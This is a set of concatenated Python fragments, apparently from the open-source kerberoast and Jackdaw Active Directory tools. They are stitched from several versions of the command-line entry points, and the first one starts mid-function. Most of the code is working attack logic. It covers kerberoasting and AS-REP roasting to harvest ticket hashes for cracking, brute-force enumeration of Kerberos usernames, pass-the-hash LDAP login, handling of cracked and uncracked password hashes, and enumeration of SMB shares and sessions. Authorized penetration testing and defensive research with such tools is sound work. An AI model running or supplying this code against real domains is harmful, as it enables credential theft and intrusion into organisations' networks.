args.attrs if args.attrs is not None else MSADUser.TSV_ATTRS if args.out_file: with open(os.path.join(basefolder, basefile + '_ldap_users.tsv'), 'w', newline='', encoding='utf8') as f: writer = csv.writer(f, delimiter='\t') writer.writerow(attrs) for user in connection.get_all_user_objects(): ctr += 1 writer.writerow(user.get_row(attrs)) else: logging.debug('Are you sure about this?') print('[+] Full user dump') print('\t'.join(attrs)) for user in connection.get_all_user_objects(): ctr += 1 print('\t'.join([str(x) for x in user.get_row(attrs)])) logging.debug('Enumerated %d user accounts' % ctr) if args.type in ['custom']: if not args.filter: raise Exception( 'Custom LDAP search requires the search filter to be specified!' ) if not args.attrs: raise Exception( 'Custom LDAP search requires the attributes to be specified!' ) logging.debug( 'Perforing search on the AD with the following filter: %s' % args.filter) logging.debug('Search will contain the following attributes: %s' % ','.join(args.attrs)) ctr = 0 if args.out_file: with open(os.path.join(basefolder, basefile + '_ldap_custom.tsv'), 'w', newline='') as f: writer = csv.writer(f, delimiter='\t') writer.writerow(args.attrs) for obj in connection.pagedsearch(args.filter, args.attrs): ctr += 1 writer.writerow([ str(obj['attributes'].get(x, 'N/A')) for x in args.attrs ]) else: for obj in connection.pagedsearch(args.filter, args.attrs): ctr += 1 print('\t'.join([ str(obj['attributes'].get(x, 'N/A')) for x in args.attrs ])) logging.debug('Custom search yielded %d results!' % ctr)
def main(): import argparse parser = argparse.ArgumentParser( description='Tool to perform verious kerberos security tests', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=kerberoast_epilog) parser.add_argument('-v', '--verbose', action='count', default=0, help='Increase verbosity, can be stacked') subparsers = parser.add_subparsers(help='commands') subparsers.required = True subparsers.dest = 'command' ldap_group = subparsers.add_parser( 'ldap', formatter_class=argparse.RawDescriptionHelpFormatter, help='Enumerate potentially vulnerable users via LDAP', epilog=MSLDAPURLDecoder.help_epilog) ldap_group.add_argument('type', choices=['spn', 'asrep', 'full', 'custom', 'all'], help='type of vulnerable users to enumerate') ldap_group.add_argument('ldap_url', help='LDAP connection URL') ldap_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') ldap_group.add_argument('-f', '--filter', help='CUSTOM mode only. LDAP search filter') ldap_group.add_argument( '-a', '--attrs', action='append', help='FULL and CUSTOM mode only. LDAP attributes to display') brute_group = subparsers.add_parser( 'brute', help='Enumerate users via brute-forcing kerberos service') brute_group.add_argument('realm', help='Kerberos realm <COMPANY.corp>') brute_group.add_argument('address', help='Address of the DC') brute_group.add_argument( 'targets', help='File with a list of usernames to enumerate, one user per line') brute_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') asreproast_group = subparsers.add_parser('asreproast', help='Perform asrep roasting') asreproast_group.add_argument('address', help='Address of the DC') asreproast_group.add_argument( '-t', '--targets', help='File with a list of usernames to roast, one user per line') asreproast_group.add_argument( '-r', '--realm', help= 'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any' ) asreproast_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') asreproast_group.add_argument( '-u', '--user', action='append', help= 'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.' ) asreproast_group.add_argument('-e', '--etype', default=23, const=23, nargs='?', choices=[23, 17, 18], type=int, help='Set preferred encryption type') spnroast_group = subparsers.add_parser( 'spnroast', help='Perform spn roasting (aka kerberoasting)', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=kerberos_url_help_epilog) spnroast_group.add_argument( 'kerberos_connection_url', help= 'Either CCACHE file name or Kerberos login data in the following format: <domain>/<username>/<secret_type>:<secret>@<dc_ip_or_hostname>' ) spnroast_group.add_argument( '-t', '--targets', help='File with a list of usernames to roast, one user per line') spnroast_group.add_argument( '-u', '--user', action='append', help= 'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.' ) spnroast_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') spnroast_group.add_argument( '-r', '--realm', help= 'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any' ) spnroast_group.add_argument( '-e', '--etype', default=-1, const=-1, nargs='?', choices=[23, 17, 18, -1], type=int, help='Set preferred encryption type. -1 for all') spnroastsspi_group = subparsers.add_parser( 'spnroast-sspi', help='Perform spn roasting (aka kerberoasting)') spnroastsspi_group.add_argument( '-t', '--targets', help='File with a list of usernames to roast, one user per line') spnroastsspi_group.add_argument( '-u', '--user', action='append', help= 'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.' ) spnroastsspi_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') spnroastsspi_group.add_argument( '-r', '--realm', help= 'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any' ) multiplexorsspi_group = subparsers.add_parser('spnroast-multiplexor', help='') multiplexorsspi_group.add_argument( '-t', '--targets', help='File with a list of usernames to roast, one user per line') multiplexorsspi_group.add_argument( '-u', '--user', action='append', help= 'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.' ) multiplexorsspi_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') multiplexorsspi_group.add_argument( '-r', '--realm', help= 'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any' ) multiplexorsspi_group.add_argument( 'mp_url', help= 'Multiplexor URL in the following format: ws://host:port/agentid or wss://host:port/agentid' ) tgt_group = subparsers.add_parser( 'tgt', help='Fetches a TGT for the given user credential', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=kerberos_url_help_epilog) tgt_group.add_argument( 'kerberos_connection_url', help= 'Either CCACHE file name or Kerberos login data in the following format: <domain>/<username>/<secret_type>:<secret>@<dc_ip_or_hostname>' ) tgt_group.add_argument('out_file', help='Output CCACHE file') tgs_group = subparsers.add_parser( 'tgs', help='Fetches a TGT for the given user credential', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=kerberos_url_help_epilog) tgs_group.add_argument( 'kerberos_connection_url', help= 'Either CCACHE file name or Kerberos login data in the following format: <domain>/<username>/<secret_type>:<secret>@<dc_ip_or_hostname>' ) tgs_group.add_argument( 'spn', help= 'SPN strong of the service to get TGS for. Expected format: <domain>/<hostname>' ) tgs_group.add_argument('out_file', help='Output CCACHE file') auto_group = subparsers.add_parser( 'auto', help= 'Just get the tickets already. Only works on windows under any domain-user context' ) auto_group.add_argument('dc_ip', help='Target domain controller') auto_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') auto_group.add_argument('-e', '--etype', default=23, const=23, nargs='?', choices=[23, 17, 18], type=int, help='Set preferred encryption type') args = parser.parse_args() if args.verbose == 0: logging.basicConfig(level=logging.INFO) kerblogger.setLevel(logging.WARNING) msldaplogger.setLevel(logging.WARNING) elif args.verbose == 1: logging.basicConfig(level=logging.DEBUG) kerblogger.setLevel(logging.INFO) msldaplogger.setLevel(logging.INFO) else: logging.basicConfig(level=1) kerblogger.setLevel(logging.DEBUG) msldaplogger.setLevel(logging.DEBUG) asyncio.run(amain(args))
async def run(args): print(__banner__) if args.verbose == 0: logging.basicConfig(level=logging.INFO) jdlogger.setLevel(logging.INFO) msldaplogger.setLevel(logging.WARNING) smblogger.setLevel(logging.CRITICAL) elif args.verbose == 1: logging.basicConfig(level=logging.DEBUG) jdlogger.setLevel(logging.DEBUG) msldaplogger.setLevel(logging.INFO) smblogger.setLevel(logging.INFO) elif args.verbose > 1: logging.basicConfig(level=1) msldaplogger.setLevel(logging.DEBUG) jdlogger.setLevel(1) smblogger.setLevel(1) if not args.sql: print( 'SQL connection identification is missing! You need to provide the --sql parameter' ) sys.exit() db_conn = args.sql if args.sql.lower().startswith('sqlite'): os.environ['JACKDAW_SQLITE'] = '1' if args.command == 'enum': smb_mgr = construct_smbdef(args) ldap_mgr = construct_ldapdef(args) mgr = LDAPEnumeratorManager(db_conn, ldap_mgr, agent_cnt=args.ldap_workers) adifo_id = await mgr.run() jdlogger.info('ADInfo entry successfully created with ID %s' % adifo_id) mgr = SMBGathererManager(smb_mgr, worker_cnt=args.smb_workers, queue_size=args.smb_queue_size) mgr.gathering_type = ['all'] mgr.db_conn = db_conn mgr.target_ad = adifo_id await mgr.run() if args.smb_share_enum is True: settings_base = SMBShareGathererSettings(adifo_id, smb_mgr, None, None, None) settings_base.dir_depth = args.smb_folder_depth mgr = ShareGathererManager(settings_base, db_conn=db_conn, worker_cnt=args.smb_workers) mgr.run() elif args.command == 'dbinit': create_db(db_conn) elif args.command == 'adinfo': session = get_session(db_conn) from jackdaw.dbmodel.adinfo import JackDawADInfo from jackdaw.utils.table import print_table rows = [['Ad ID', 'domain name', 'scantime']] for did, distinguishedName, creation in session.query( JackDawADInfo).with_entities(JackDawADInfo.id, JackDawADInfo.distinguishedName, JackDawADInfo.fetched_at).all(): name = distinguishedName.replace('DC=', '') name = name.replace(',', '.') rows.append([str(did), name, creation.isoformat()]) print_table(rows) elif args.command == 'ldap': ldap_mgr = construct_ldapdef(args) ldap_conn = ldap_mgr.get_client() mgr = LDAPEnumeratorManager(db_conn, ldap_mgr, agent_cnt=args.ldap_workers, queue_size=args.ldap_queue_size, ad_id=args.ad_id) adifo_id = await mgr.run() jdlogger.info('ADInfo entry successfully created with ID %s' % adifo_id) elif args.command in ['shares', 'sessions', 'localgroups', 'smball']: if args.command == 'smball': args.command = 'all' smb_mgr = construct_smbdef(args) mgr = SMBGathererManager(smb_mgr, worker_cnt=args.smb_workers, queue_size=args.smb_queue_size) mgr.gathering_type = [args.command] mgr.db_conn = db_conn mgr.lookup_ad = args.lookup_ad if args.ldap_url: ldap_mgr = construct_ldapdef(args) ldap_conn = ldap_mgr.get_client() mgr.ldap_conn = ldap_conn if args.ad_id: mgr.target_ad = args.ad_id if args.target_file: mgr.targets_file = args.target_file await mgr.run() elif args.command == 'files': if args.src == 'domain': if not args.ad_id: raise Exception('ad-id parameter is mandatory in ldap mode') mgr = SMBConnectionURL(args.smb_url) settings_base = SMBShareGathererSettings(args.ad_id, mgr, None, None, None) settings_base.dir_depth = args.smb_folder_depth settings_base.dir_with_sd = args.with_sid settings_base.file_with_sd = args.with_sid mgr = ShareGathererManager(settings_base, db_conn=db_conn, worker_cnt=args.smb_workers) mgr.run() # elif args.src == 'file': # if not args.target_file: # raise Exception('target-file parameter is mandatory in file mode') # # args.target_file # args.lookup_ad # args.with_sid # args.smb_workers # # elif args.src == 'ldap': # if not args.ldap_url: # raise Exception('ldap-url parameter is mandatory in ldap mode') # args.lookup_ad # args.with_sid # args.smb_workers # # # # elif args.src == 'cmd': elif args.command == 'creds': creds = JackDawCredentials(args.db_conn, args.domain_id) creds.add_credentials_impacket(args.impacket_file) elif args.command == 'passwords': creds = JackDawCredentials(args.db_conn) creds.add_cracked_passwords(args.potfile, args.disable_usercheck, args.disable_passwordcheck) elif args.command == 'uncracked': creds = JackDawCredentials(args.db_conn, args.domain_id) creds.get_uncracked_hashes(args.hash_type, args.history) elif args.command == 'cracked': creds = JackDawCredentials(args.db_conn, args.domain_id) creds.get_cracked_info() elif args.command == 'nest': from jackdaw.nest.wrapper import NestServer debug = bool(args.verbose) server = NestServer(args.sql, bind_ip=args.ip, bind_port=args.port, debug=debug) server.run()
async def run(args): try: if args.silent is True: print(__banner__) if args.verbose == 0: logging.basicConfig(level=logging.INFO) jdlogger.setLevel(logging.INFO) msldaplogger.setLevel(logging.CRITICAL) smblogger.setLevel(100) elif args.verbose == 1: logging.basicConfig(level=logging.DEBUG) jdlogger.setLevel(logging.DEBUG) msldaplogger.setLevel(logging.WARNING) smblogger.setLevel(logging.CRITICAL) elif args.verbose > 1: logging.basicConfig(level=1) msldaplogger.setLevel(logging.DEBUG) jdlogger.setLevel(1) smblogger.setLevel(1) if not args.sql and args.command != 'auto': print( 'SQL connection identification is missing! You need to provide the --sql parameter' ) sys.exit() work_dir = './workdir' ldap_url = None smb_url = None if hasattr(args, 'ldap_url'): ldap_url = args.ldap_url if hasattr(args, 'smb_url'): smb_url = args.smb_url db_conn = args.sql if db_conn is not None: os.environ['JACKDAW_SQLITE'] = '0' if args.sql.lower().startswith('sqlite'): os.environ['JACKDAW_SQLITE'] = '1' else: os.environ['JACKDAW_SQLITE'] = '1' if args.command == 'enum': with multiprocessing.Pool() as mp_pool: gatherer = Gatherer(db_conn, work_dir, ldap_url, smb_url, kerb_url=args.kerberoast, ldap_worker_cnt=args.ldap_workers, smb_worker_cnt=args.smb_workers, mp_pool=mp_pool, smb_gather_types=['all'], progress_queue=None, show_progress=args.silent, calc_edges=True, ad_id=None, dns=args.dns, no_work_dir=args.no_work_dir) res, err = await gatherer.run() if err is not None: raise err elif args.command == 'auto': _, err = await run_auto(ldap_worker_cnt=args.ldap_workers, smb_worker_cnt=args.smb_workers, dns=args.dns, work_dir=work_dir, show_progress=args.silent, no_work_dir=args.no_work_dir) if err is not None: print(err) elif args.command == 'dbinit': create_db(db_conn) elif args.command == 'adinfo': session = get_session(db_conn) from jackdaw.dbmodel.adinfo import ADInfo from jackdaw.utils.table import print_table rows = [['Ad ID', 'domain name', 'scantime']] for did, distinguishedName, creation in session.query( ADInfo).with_entities(ADInfo.id, ADInfo.distinguishedName, ADInfo.fetched_at).all(): name = distinguishedName.replace('DC=', '') name = name.replace(',', '.') rows.append([str(did), name, creation.isoformat()]) print_table(rows) elif args.command == 'ldap': with multiprocessing.Pool() as mp_pool: gatherer = Gatherer(db_conn, work_dir, ldap_url, smb_url, ldap_worker_cnt=args.ldap_workers, smb_worker_cnt=None, mp_pool=mp_pool, smb_gather_types=['all'], progress_queue=None, show_progress=args.silent, calc_edges=args.calculate_edges, ad_id=args.ad_id, no_work_dir=args.no_work_dir) await gatherer.run() elif args.command == 'kerberoast': gatherer = Gatherer(db_conn, work_dir, None, None, kerb_url=args.kerberos_url, ldap_worker_cnt=None, smb_worker_cnt=None, mp_pool=None, smb_gather_types=[], progress_queue=None, show_progress=False, calc_edges=False, ad_id=args.ad_id) await gatherer.run() print('Kerberoast Finished!') elif args.command in ['shares', 'sessions', 'localgroups', 'smball']: if args.command == 'smball': args.command = 'all' gatherer = Gatherer( db_conn, work_dir, ldap_url, smb_url, ad_id=args.ad_id, ldap_worker_cnt=None, smb_worker_cnt=args.smb_workers, mp_pool=None, smb_gather_types=args.command, progress_queue=None, show_progress=args.silent, calc_edges=False, dns=args.dns, ) await gatherer.run() elif args.command == 'dns': gatherer = Gatherer( db_conn, work_dir, None, None, ad_id=args.ad_id, ldap_worker_cnt=None, smb_worker_cnt=None, mp_pool=None, smb_gather_types=None, progress_queue=None, show_progress=args.silent, calc_edges=False, dns=args.dns, ) await gatherer.run() elif args.command == 'version': print('Jackdaw version: %s' % jdversion) print('MSLDAP version : %s' % ldapversion) print('AIOSMB version : %s' % smbversion) elif args.command == 'files': raise Exception('not yet implemented!') #if args.src == 'domain': # if not args.ad_id: # raise Exception('ad-id parameter is mandatory in ldap mode') # # mgr = SMBConnectionURL(args.smb_url) # settings_base = SMBShareGathererSettings(args.ad_id, mgr, None, None, None) # settings_base.dir_depth = args.smb_folder_depth # settings_base.dir_with_sd = args.with_sid # settings_base.file_with_sd = args.with_sid # # mgr = ShareGathererManager(settings_base, db_conn = db_conn, worker_cnt = args.smb_workers) # mgr.run() elif args.command == 'creds': creds = JackDawCredentials(db_conn, args.domain_id) creds.add_credentials_impacket(args.impacket_file) elif args.command == 'passwords': creds = JackDawCredentials(db_conn) creds.add_cracked_passwords(args.potfile, args.disable_usercheck, args.disable_passwordcheck) elif args.command == 'uncracked': creds = JackDawCredentials(db_conn, args.domain_id) creds.get_uncracked_hashes(args.hash_type, args.history) elif args.command == 'cracked': creds = JackDawCredentials(db_conn, args.domain_id) creds.get_cracked_info() elif args.command == 'recalc': with multiprocessing.Pool() as mp_pool: gatherer = Gatherer(db_conn, work_dir, None, None, mp_pool=mp_pool, progress_queue=None, show_progress=args.silent, calc_edges=True, store_to_db=True, ad_id=None, graph_id=args.graphid) await gatherer.run() elif args.command == 'nest': from jackdaw.nest.wrapper import NestServer debug = bool(args.verbose) server = NestServer( args.sql, bind_ip=args.ip, bind_port=args.port, debug=debug, work_dir=args.work_dir, graph_backend=args.backend, ) server.run() elif args.command == 'ws': from jackdaw.nest.ws.server import NestWebSocketServer server = NestWebSocketServer(args.listen_ip, args.listen_port, args.sql, args.work_dir, args.backend, ssl_ctx=None) await server.run() elif args.command == 'bhimport': from jackdaw.utils.bhimport import BHImport print( 'DISCLAIMER! This feature is still beta! Bloodhound acquires way less data than Jackdaw therefore not all functionality will work after import. Any errors during import will be silently ignored, use "-vvv" verbosity level to see all errors.' ) bh = BHImport.from_zipfile(args.bhfile) bh.db_conn = db_conn if args.verbose > 1: bh.set_debug(True) bh.run() print('Import complete!') except Exception as e: jdlogger.exception('main')
def run(args): if args.verbose == 0: logging.basicConfig(level=logging.INFO) jdlogger.setLevel(logging.INFO) msldaplogger.setLevel(logging.WARNING) smblogger.setLevel(logging.CRITICAL) elif args.verbose == 1: logging.basicConfig(level=logging.DEBUG) jdlogger.setLevel(logging.DEBUG) msldaplogger.setLevel(logging.INFO) smblogger.setLevel(logging.INFO) elif args.verbose > 1: logging.basicConfig(level=1) msldaplogger.setLevel(logging.DEBUG) jdlogger.setLevel(1) smblogger.setLevel(1) if not args.sql: print( 'SQL connection identification is missing! You need to provide the --sql parameter' ) sys.exit() db_conn = args.sql if args.command == 'enum': smb_mgr = construct_smbdef(args) ldap_mgr = construct_ldapdef(args) mgr = LDAPEnumeratorManager(db_conn, ldap_mgr, agent_cnt=args.ldap_workers) adifo_id = mgr.run() print('ADInfo entry successfully created with ID %s' % adifo_id) mgr = SMBGathererManager(smb_mgr, worker_cnt=args.smb_workers) mgr.gathering_type = ['all'] mgr.db_conn = db_conn mgr.target_ad = adifo_id mgr.run() elif args.command == 'dbinit': create_db(db_conn) elif args.command == 'adinfo': session = get_session(db_conn) from jackdaw.dbmodel.adinfo import JackDawADInfo from jackdaw.utils.table import print_table rows = [['Ad ID', 'domain name', 'scantime']] for did, distinguishedName, creation in session.query( JackDawADInfo).with_entities(JackDawADInfo.id, JackDawADInfo.distinguishedName, JackDawADInfo.fetched_at).all(): name = distinguishedName.replace('DC=', '') name = name.replace(',', '.') rows.append([str(did), name, creation.isoformat()]) print_table(rows) elif args.command == 'ldap': ldap_mgr = construct_ldapdef(args) ldap_conn = ldap_mgr.get_connection() ldap_conn.connect() mgr = LDAPEnumeratorManager(db_conn, ldap_mgr, agent_cnt=args.ldap_workers) adifo_id = mgr.run() print('ADInfo entry successfully created with ID %s' % adifo_id) elif args.command in ['shares', 'sessions', 'localgroups']: smb_mgr = construct_smbdef(args) mgr = SMBGathererManager(smb_mgr) mgr.gathering_type = [args.command] mgr.db_conn = db_conn mgr.lookup_ad = args.lookup_ad if args.ldap_url: ldap_mgr = construct_ldapdef(args) ldap_conn = ldap_mgr.get_connection() ldap_conn.connect() mgr.ldap_conn = ldap_conn if args.ad_id: mgr.target_ad = args.ad_id if args.target_file: mgr.targets_file = args.target_file mgr.run() elif args.command == 'creds': creds = JackDawCredentials(args.db_conn, args.domain_id) creds.add_credentials_impacket(args.impacket_file) elif args.command == 'passwords': creds = JackDawCredentials(args.db_conn) creds.add_cracked_passwords(args.potfile, args.disable_usercheck, args.disable_passwordcheck) elif args.command == 'uncracked': creds = JackDawCredentials(args.db_conn, args.domain_id) creds.get_uncracked_hashes(args.hash_type, args.history) elif args.command == 'cracked': creds = JackDawCredentials(args.db_conn, args.domain_id) creds.get_cracked_info() elif args.command == 'nest': from jackdaw.nest.wrapper import NestServer debug = bool(args.verbose) server = NestServer(args.sql, bind_ip=args.ip, bind_port=args.port, debug=debug) server.run()
def run(): import argparse parser = argparse.ArgumentParser( description= 'Tool to perform kerberoast attack against service users in MS Active Directory' ) parser.add_argument('-v', '--verbose', action='count', default=0, help='Increase verbosity, can be stacked') subparsers = parser.add_subparsers(help='commands') subparsers.required = True subparsers.dest = 'command' ldap_group = subparsers.add_parser( 'ldap', help='Enumerate potentially vulnerable users via LDAP') ldap_group.add_argument('type', choices=['spn', 'asrep', 'all'], help='type of vulnerable users to enumerate') ldap_group.add_argument( 'user', help= 'LDAP user specitication <domain>/<username>:<password>@<ip or hostname>' ) ldap_group.add_argument('-n', '--ntlm', help='Specify this for passing the hash') ldap_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') brute_group = subparsers.add_parser( 'brute', help='Enumerate users via brute-forcing kerberos service') brute_group.add_argument('realm', help='Kerberos realm <COMPANY.corp>') brute_group.add_argument('address', help='Address of the DC') brute_group.add_argument( 'targets', help='File with a list of usernames to enumerate, one user per line') brute_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') asreproast_group = subparsers.add_parser('asreproast', help='Perform asrep roasting') asreproast_group.add_argument('address', help='Address of the DC') asreproast_group.add_argument( '-t', '--targets', help='File with a list of usernames to roast, one user per line') asreproast_group.add_argument( '-r', '--realm', help= 'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any' ) asreproast_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') asreproast_group.add_argument( '-u', '--user', action='append', help= 'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.' ) spnroast_group = subparsers.add_parser( 'spnroast', help='Perform spn roasting (aka kerberoasting)') spnroast_group.add_argument( 'logincreds', help= 'Either CCACHE file name or Kerberos login data <realm>/<username>:<password or NT hash or AES key>@<ip or hostname> Can be omitted for asrep command.' ) spnroast_group.add_argument( '-n', '--ntlm', action='store_true', help='Indicate if password is actually an NT hash') spnroast_group.add_argument( '-a', '--aes', action='store_true', help='Indicate if password is actually an AES key') spnroast_group.add_argument( '-c', '--ccache', action='store_true', help='Indicate if target is actually a CCACHE file') spnroast_group.add_argument( '-t', '--targets', help='File with a list of usernames to roast, one user per line') spnroast_group.add_argument( '-u', '--user', action='append', help= 'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.' ) spnroast_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') spnroast_group.add_argument( '-r', '--realm', help= 'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any' ) args = parser.parse_args() if args.verbose == 0: logging.basicConfig(level=logging.INFO) kerblogger.setLevel(logging.WARNING) msldaplogger.setLevel(logging.WARNING) elif args.verbose == 1: logging.basicConfig(level=logging.DEBUG) kerblogger.setLevel(logging.INFO) msldaplogger.setLevel(logging.INFO) else: logging.basicConfig(level=1) kerblogger.setLevel(logging.DEBUG) msldaplogger.setLevel(logging.DEBUG) #ksoc = KerberosSocket(args.target) if args.command == 'spnroast': if not args.targets and not args.user: raise Exception( 'No targets loaded! Either -u or -t MUST be specified!') targets = [] if args.targets: with open(args.targets, 'r') as f: for line in f: line = line.strip() domain = None username = None if line.find('/') != -1: #we take for granted that usernames do not have the char / in them! domain, username = line.split('/') else: username = line if args.realm: domain = args.realm else: if domain is None: raise Exception( 'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file' ) target = KerberosTarget() target.username = username target.domain = domain targets.append(target) if args.user: for user in args.user: domain = None username = None if user.find('/') != -1: #we take for granted that usernames do not have the char / in them! domain, username = user.split('/') else: username = user if args.realm: domain = args.realm else: if domain is None: raise Exception( 'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file' ) target = KerberosTarget() target.username = username target.domain = domain targets.append(target) if len(targets) == 0: raise Exception('No targets loaded!') logging.debug('Kerberoast loaded %d targets' % len(targets)) if args.ccache: raise Exception('Not implemented yet!') else: domain, username, password, target = from_target_string( args.logincreds) if not password: password = getpass.getpass() if not domain: raise Exception( 'Missing domain from kerberos logon credentials') if not username: raise Exception( 'Missing username from kerberos logon credentials') if not target: raise Exception( 'Missing target from kerberos logon credentials') cred = KerberosCredential() cred.domain = domain cred.username = username if args.ntlm: cred.nt_hash = password elif args.aes: if len(password) == 32: cred.kerberos_key_aes_128 = password elif len(password) == 64: cred.kerberos_key_aes_256 = password else: raise Exception( 'Kerberos logon credential AES keysize incorrect!') else: cred.password = password ks = KerberosSocket(target) ar = Kerberoast(cred, ks) hashes = ar.run(targets) if args.out_file: with open(args.out_file, 'w') as f: for thash in hashes: f.write(thash + '\r\n') else: for thash in hashes: print(thash) logging.info('Kerberoast complete') elif args.command == 'asreproast': if not args.targets and not args.user: raise Exception( 'No targets loaded! Either -u or -t MUST be specified!') creds = [] if args.targets: with open(args.targets, 'r') as f: for line in f: line = line.strip() domain = None username = None if line.find('/') != -1: #we take for granted that usernames do not have the char / in them! domain, username = line.split('/') else: username = line if args.realm: domain = args.realm else: if domain is None: raise Exception( 'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file' ) cred = KerberosCredential() cred.username = username cred.domain = domain creds.append(cred) if args.user: for user in args.user: domain = None username = None if user.find('/') != -1: #we take for granted that usernames do not have the char / in them! domain, username = user.split('/') else: username = user if args.realm: domain = args.realm else: if domain is None: raise Exception( 'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file' ) cred = KerberosCredential() cred.username = username cred.domain = domain creds.append(cred) logging.debug('ASREPRoast loaded %d targets' % len(creds)) ks = KerberosSocket(args.address) ar = APREPRoast(ks) hashes = ar.run(creds) if args.out_file: with open(args.out_file, 'w') as f: for thash in hashes: f.write(thash + '\r\n') else: for thash in hashes: print(thash) logging.info('ASREPRoast complete') elif args.command == 'brute': users = [] with open(args.targets, 'r') as f: for line in f: users.append(line.strip()) ksoc = KerberosSocket(args.address) ke = KerberosUserEnum(ksoc) results = ke.run(args.realm, users) logging.info('Enumerated %d users!' % len(results)) if args.out_file: with open(args.out_file, 'w') as f: for user in results: f.write(user + '\r\n') else: print('[+]Enumerated users:') for user in results: print(user) logging.info('Kerberos user enumeration complete') elif args.command == 'ldap': domain, username, password, target = from_target_string(args.user) if not password: password = getpass.getpass() ldap_server = MSLDAPTargetServer(target) creds = MSLDAPUserCredential(username=username, domain=domain, password=password, is_ntlm=args.ntlm) ldap = MSLDAP(creds, ldap_server) ldap.connect() adinfo = ldap.get_ad_info() domain = adinfo.distinguishedName.replace('DC=', '').replace(',', '.') spn_users = [] asrep_users = [] if args.type in ['spn', 'all']: for user in ldap.get_all_service_user_objects(): spn_users.append('%s/%s' % (domain, user.sAMAccountName)) if args.type in ['asrep', 'all']: for user in ldap.get_all_knoreq_user_objects(): asrep_users.append('%s/%s' % (domain, user.sAMAccountName)) if args.out_file: basefolder = ntpath.dirname(args.out_file) basefile = ntpath.basename(args.out_file) if len(spn_users) > 0: with open(os.path.join(basefolder, basefile + '_spn_users.txt'), 'w', newline='') as f: for user in spn_users: f.write(user + '\r\n') if len(asrep_users) > 0: with open(os.path.join(basefolder, basefile + '_asrep_users.txt'), 'w', newline='') as f: for user in asrep_users: f.write(user + '\r\n') else: print('[+]SPN vuln users:') for user in spn_users: print(user) print('[+]ASREP vuln users:') for user in asrep_users: print(user)